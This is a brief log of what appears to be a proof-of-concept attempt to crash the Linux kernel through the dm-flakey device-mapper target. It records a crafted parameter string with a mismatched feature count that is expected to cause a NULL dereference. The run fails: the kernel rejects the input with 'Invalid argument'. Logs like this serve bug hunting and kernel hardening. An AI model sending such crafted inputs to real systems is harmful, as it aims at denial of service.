[*] DF-2452 dm_target_flakey NULL-deref via mismatched feature_cnt
[*] params: "/dev/md0 0 10 5 5 drop_writes" -- feature_cnt=5 but only 1 arg follows
[*] _init_features loop reads past populated argv slots into NULL
[*] expect: kernel panic -- NULL deref in strcmp
[*] firing reload with mismatched feature_cnt...
[!] reload ioctl returned rv=22 (Invalid argument) -- kernel survived?
POC_EXIT=0